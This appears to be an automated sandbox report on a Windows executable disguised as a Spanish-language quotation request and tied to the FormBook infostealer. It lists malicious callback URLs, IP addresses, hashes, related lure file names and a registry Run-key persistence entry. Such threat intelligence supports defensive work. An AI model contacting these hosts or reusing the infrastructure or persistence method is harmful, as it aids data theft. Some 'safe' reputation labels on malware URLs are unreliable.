http://www.drivemktg.co/6iyv/?bFGXGTdX=QUgjltNnPM7fQ1+0bKwVMbQ54EaLfCpy+OUhi4BxQU9uhqAfHapQDk2a3aAnmDcuDNg9UdkAVeopJ3fRxVhQVT9mj+0/2IqVm/xmg09egO+B+lk9Mw==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown
http://www.purpleheartlacey.com/rlev/	true	Avira URL Cloud: malware	unknown
http://www.bitmapsportsbook.com/zwgt/	true	Avira URL Cloud: safe	unknown
http://www.drivemktg.co/6iyv/	true	Avira URL Cloud: safe	unknown
http://www.vacaturecast.com/sid8/	true	Avira URL Cloud: safe	unknown
http://www.goodgiftguru.com/p2ly/?bFGXGTdX=854srIWxIbaR7EG2BVBjn1PfwNbGMwTqcAT48G/3DKSB08gEc85mKKLIvkpoComultp7rI80f5482EKJDc++UJ/X9hbLrPJpiCWZeROTRI35j/SOzA==&M87d=RDddFbF8	true	Avira URL Cloud: malware	unknown
http://www.nbh6agr8h.sbs/bqpw/?bFGXGTdX=7i7mgMVoUdn3K3H4hxR2Z2sx7NMDmz1WBuojPjrSQrb0L6/7xSQOb69NgDz1ThGB8kqobNNV7CaIX5kMC3tpqGoJwELsf5+TzHoCpSOUthnHuH68iQ==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown
http://www.nbh6agr8h.sbs/bqpw/	true	Avira URL Cloud: safe	unknown
http://www.trcrb8e8m.sbs/d8su/?bFGXGTdX=3HBCjYMba2FPA3TIMZ366tJLR19IJjxz0bIsDTYva69fDAgKwrpmDBuz3X8ZHGWOiFUXNC9bte/eip1p2XCq457JVfW7M++UWZyl/bQwgvBliJsYpA==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown
http://www.grafiktema.xyz/pt32/	true	Avira URL Cloud: safe	unknown
http://www.r7xzr3ib0.sbs/zqqa/	true	Avira URL Cloud: safe	unknown
http://www.fardvuss.top/oxoz/?bFGXGTdX=2tfclvLQdcOBJmGnIZVAP5JMnkUnnIVvl5+7iv031/ylbgKII8HkCnHT6NNgDVU8buPmA9RxJ1d+vIxyZHsoGN30KfBqGUlKbJLPWs8oJbYVBexVLA==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown
http://www.trcrb8e8m.sbs/d8su/	true	Avira URL Cloud: safe	unknown
http://www.cr-pos.com/o1v8/?bFGXGTdX=1i6yDzrkvfTg1xRY+mVcmT0mAxqtzWYSPwzr6OqMIexmyiVm05r+M/L0QtcaHGif89shAFkQDwq9CioCdeM2s5RrcMFZtF0WLInyLOarA44qlhj6rw==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://drivemktg.co/6iyv/?bFGXGTdX=QUgjltNnPM7fQ1	SecEdit.exe, 0000000C.00000002.3793502568.0000000003FFC000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.000000000399C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pacopodcast.nl/sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/	sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.000000000380A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css	SecEdit.exe, 0000000C.00000002.3793502568.0000000003CD8000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000003678000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.8.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gandi.net/en/domain	SecEdit.exe, 0000000C.00000002.3793502568.0000000003B46000.00000004.10000000.00040000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3795835777.0000000005EE0000.00000004.00000800.00020000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.00000000034E6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.1886634795.000000001FF56000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aceautocorp.com/9og3/?bFGXGTdX=ZBkskPBELyIjvtDi08MWm9rbu3iLorcPFzn2FRxS1jOC36b61Sx96mOK	SecEdit.exe, 0000000C.00000002.3793502568.00000000047D6000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000004176000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/gsap/3.1.1/gsap.min.js	SecEdit.exe, 0000000C.00000002.3793502568.0000000003CD8000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000003678000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://whois.gandi.net/en/results?search=goodgiftguru.com	SecEdit.exe, 0000000C.00000002.3793502568.0000000003B46000.00000004.10000000.00040000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3795835777.0000000005EE0000.00000004.00000800.00020000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.00000000034E6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.1886634795.000000001FF56000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.cr-pos.com	sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3795206841.0000000005411000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	SecEdit.exe, 0000000C.00000002.3793502568.0000000003CD8000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000003678000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.184.0.111	vacaturecast.com	Netherlands	197902	HOSTNETNL	true
198.12.241.35	aceautocorp.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
192.250.231.28	cr-pos.com	United States	36454	CNSV-LLCUS	true
217.70.184.50	webredir.vip.gandi.net	France	29169	GANDI-ASDomainnameregistrar-httpwwwgandinetFR	true
193.108.130.23	www.drivemktg.co	Russian Federation	49334	SVK-ASCZ	true
47.239.13.172	xiaoyue.zhuangkou.com	United States	20115	CHARTER-20115US	true
91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	true
199.192.19.19	www.fardvuss.top	United States	22612	NAMECHEAP-NETUS	true
154.213.157.32	www.54bxd.cyou	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	true
31.186.11.254	grafiktema.xyz	Turkey	199484	BETAINTERNATIONALTR	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1509644
Start date and time:	2024-09-11 22:01:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@17/11@17/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 84% Number of executed functions: 73 Number of non-executed functions: 249
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20
Excluded domains from analysis (whitelisted): login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Simulations

Behavior and APIs

Time	Type	Description
16:02:16	API Interceptor	21x Sleep call for process: powershell.exe modified
16:02:22	API Interceptor	1x Sleep call for process: WerFault.exe modified
16:03:06	API Interceptor	11439378x Sleep call for process: SecEdit.exe modified
22:02:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 26RXLR- C:\Program Files (x86)\Windows Mail\wab.exe
22:02:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 26RXLR- C:\Program Files (x86)\Windows Mail\wab.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.184.0.111	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	z2AMOSTRAS.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	#U041e#U041f#U0418#U0421#U0410#U041d#U0418#U0415.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	#U0417#U0410#U041a#U0410#U0417 #U041d#U0410 #U041f#U041e#U041a#U0423#U041f#U041a#U0423.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	#U0646#U0645#U0648#U0646#U0647 #U0647#U0627.exe	Get hash	malicious	FormBook	Browse	www.vacaturecast.com/sid8/
	LisectAVT_2403002B_309.exe	Get hash	malicious	Bdaejec, FormBook	Browse	www.vacaturecast.com/34ev/
198.12.241.35	rfOfF6s6gI.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/nyuo/
	4qV0xW2NSj.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/nyuo/
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/nyuo/
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/nyuo/
	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/9og3/
	z2AMOSTRAS.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/9og3/
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/9og3/
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/9og3/
	#U041e#U041f#U0418#U0421#U0410#U041d#U0418#U0415.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/9og3/
	#U0417#U0410#U041a#U0410#U0417 #U041d#U0410 #U041f#U041e#U041a#U0423#U041f#U041a#U0423.exe	Get hash	malicious	FormBook	Browse	www.aceautocorp.com/9og3/
192.250.231.28	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/
	#U0417#U0410#U041a#U0410#U0417 #U041d#U0410 #U041f#U041e#U041a#U0423#U041f#U041a#U0423.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/
	#U0646#U0645#U0648#U0646#U0647 #U0647#U0627.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/drbb/
	COTIZACI#U00d3N.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/
	z4AMOSTRA.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/
	z3NOVOPEDIDODECOMPRA.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/
	#U041f#U041e#U041a#U0423#U041f#U041a#U0410 #U0422#U041e#U0412#U0410#U0420#U041e#U0412.exe	Get hash	malicious	FormBook	Browse	www.cr-pos.com/o1v8/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
webredir.vip.gandi.net	Order#Qxz091124.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PO #86637.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	au1FjlRwFR.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Scan_000019921929240724_PDA _ SOA_Payment Reference TR-37827392-2024-08-29.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	COMMERCAIL INVOICE AND AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Pedido De Compra OC 4504 19082024 De Grupoeld SAS.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	217.70.184.50
www.54bxd.cyou	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	z2AMOSTRAS.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	#U041e#U041f#U0418#U0421#U0410#U041d#U0418#U0415.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	#U0417#U0410#U041a#U0410#U0417 #U041d#U0410 #U041f#U041e#U041a#U0423#U041f#U041a#U0423.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	#U0646#U0645#U0648#U0646#U0647 #U0647#U0627.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
	COTIZACI#U00d3N.exe	Get hash	malicious	FormBook	Browse	154.213.157.32
www.fardvuss.top	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	z2AMOSTRAS.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	#U041e#U041f#U0418#U0421#U0410#U041d#U0418#U0415.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	#U0417#U0410#U041a#U0410#U0417 #U041d#U0410 #U041f#U041e#U041a#U0423#U041f#U041a#U0423.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	#U0646#U0645#U0648#U0646#U0647 #U0647#U0627.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	COTIZACI#U00d3N.exe	Get hash	malicious	FormBook	Browse	199.192.19.19

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GANDI-ASDomainnameregistrar-httpwwwgandinetFR	Order#Qxz091124.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	217.70.184.38
	PO #86637.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	au1FjlRwFR.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Scan_000019921929240724_PDA _ SOA_Payment Reference TR-37827392-2024-08-29.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	COMMERCAIL INVOICE AND AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	217.70.184.50
CNSV-LLCUS	https://sgsconsulting.com/	Get hash	malicious	Unknown	Browse	192.250.227.23
	https://sgsconsulting.com/	Get hash	malicious	Unknown	Browse	192.250.227.23
	http://linkplea.se/doar	Get hash	malicious	Unknown	Browse	192.250.229.80
	rfq_commercial_order_GMlist_for_Drumedis_tender_august_quater_2024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.250.234.170
	https://kanomama.com/KFKFLDRFKLEK?///RG9tYWluXFVzZXJuYW1lQGRvbWFpbi5jb20=	Get hash	malicious	HTMLPhisher	Browse	192.250.229.40
	Novi upit #876567-AWB.exe	Get hash	malicious	FormBook	Browse	192.250.227.27
	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	192.250.231.28
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	192.250.231.28
	SNu4RXZpoS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	192.250.227.28
	#U0417#U0410#U041a#U0410#U0417 #U041d#U0410 #U041f#U041e#U041a#U0423#U041f#U041a#U0423.exe	Get hash	malicious	FormBook	Browse	192.250.231.28
HOSTNETNL	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	91.184.0.99
	PO #86637.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	GOVT __OF SHARJAH - UNIVERSITY OF SHARJAH - Project 0238.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	bintoday1.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	ORDER_38746_pdf.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	91.184.0.111
	z2AMOSTRAS.exe	Get hash	malicious	FormBook	Browse	91.184.0.111
SVK-ASCZ	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	z2AMOSTRAS.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	#U041e#U041f#U0418#U0421#U0410#U041d#U0418#U0415.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	#U0417#U0410#U041a#U0410#U0417 #U041d#U0410 #U041f#U041e#U041a#U0423#U041f#U041a#U0423.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	#U0646#U0645#U0648#U0646#U0647 #U0647#U0627.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
	COTIZACI#U00d3N.exe	Get hash	malicious	FormBook	Browse	193.108.130.23
AS-26496-GO-DADDY-COM-LLCUS	https://arcg.is/1PqXT10	Get hash	malicious	Unknown	Browse	132.148.76.244
	https://arcg.is/1PqXT10	Get hash	malicious	Unknown	Browse	132.148.76.244
	https://canadaca1.godaddysites.com	Get hash	malicious	Unknown	Browse	45.40.130.49
	https://canadaca1.godaddysites.com/	Get hash	malicious	Unknown	Browse	45.40.130.49
	Quotation.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	https://storage.googleapis.com/sd___mailweb/OPPDHETGFTEGDHFHY____PEYDHEYS.html	Get hash	malicious	Phisher	Browse	107.180.46.160
	rfOfF6s6gI.exe	Get hash	malicious	FormBook	Browse	198.12.241.35
	4qV0xW2NSj.exe	Get hash	malicious	FormBook	Browse	198.12.241.35
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	68.178.246.77
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	23.229.187.40

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_z27PEDIDOSDECOTI_954f48805e9076ce729429ecc0754a401ce6_7d214189_669e09b5-aaaf-4e21-86d5-e50341c9a4d2\Report.wer

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2477703124252326
Encrypted:	false
SSDEEP:	192:CKDsA5nLHIMdX0oBY6laWBeDlTwT1O65dzuiFYZ24lO8naI:QEncMdkoBYcamO411DzuiFYY4lO8n
MD5:	B429B845BC99D285894A923E8B68E567
SHA1:	9B9413326C822DEDF22E44B644C26D7A4B14BE56
SHA-256:	BEF8BF5DF9613FC5B5D21B99B46E8F97A5A657123D7EE3BD50788940231D4827
SHA-512:	9FA1FC0DC6CB1C3843F28472719A1103186C8776F3DC28002E8FE17F1C9AF03BBB34ED033B7DE94FAD413EAD99E06FBDCABADEB23D77046C44FD68B7BC143420
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.0.5.5.8.5.3.5.5.2.9.8.1.0.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.0.5.5.8.5.3.6.8.1.1.0.6.1.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.6.9.e.0.9.b.5.-.a.a.a.f.-.4.e.2.1.-.8.6.d.5.-.e.5.0.3.4.1.c.9.a.4.d.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.d.7.7.d.1.0.3.-.1.7.c.c.-.4.8.f.c.-.a.2.4.2.-.c.5.f.a.4.1.b.d.6.3.4.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.z.2.7.P.E.D.I.D.O.S.D.E.C.O.T.I.Z.A.C.I._._.N._._._.s._._.x._._.l._._.x._._._...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.A.r.k.h.a.n.g.e.l.s.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.1.8.-.0.0.0.1.-.0.0.1.3.-.3.9.9.0.-.3.9.7.c.8.5.0.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.9.4.0.7.6.d.6.b.4.c.b.d.7.2.b.2.d.4.6.a.5.9.9.f.3.7.0.2.2.5.6.0.0.0.0.0.0.0.0.!.0.0.0.0.e.8.3.e.0.1.d.c.a.3.b.3.6.8.4.e.4.f.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6339.tmp.dmp

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Wed Sep 11 20:02:16 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	510731
Entropy (8bit):	3.398464216671898
Encrypted:	false
SSDEEP:	3072:929AmUZLC3WFNb21CCqgR1S0r40A/iT3+v4Cbe7lilS47P6nu6cSDCP7Y:91E3cIqqTU/y3QsOynHD
MD5:	4A70C262220EBD2384411B25D9383AA8
SHA1:	9C1A3A85DADCA68A8213F083674AAC0AAC9D202C
SHA-256:	94DEFADC856768B832EDF8075EFA3BB1F0A49D269C15A4950F245CF039273508
SHA-512:	95F44D8BF3A5C17D7613F8CF7DB4897B34E479C26C64BA455E5B3AAB6F0876381EDE5A4681E7518D9A6F1E6A706267972A5B2A232DF51F6FDD94F040096FB32D
Malicious:	false
Preview:	MDMP..a..... .......H..f............t.......................$... '......d!..D'......DY.............l.......8...........T............:..c............H...........J..............................................................................eJ......,K......Lw......................T...........A..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6657.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8966
Entropy (8bit):	3.7266999191483072
Encrypted:	false
SSDEEP:	192:R6l7wVeJ5vZzf6YWtqZ1gmfrLXOprx89b4OTfQzom:R6lXJBZL6YcK1gmfrL14afE
MD5:	8171A34C1FF3050F865A075C7AF65811
SHA1:	36E0D1BF6FEAB8B251243C282CE3014F410781C5
SHA-256:	028F064C9F0A01F0D603DEA5B5038D1B211BC5D6542ACCE93553E6F4A2322F35
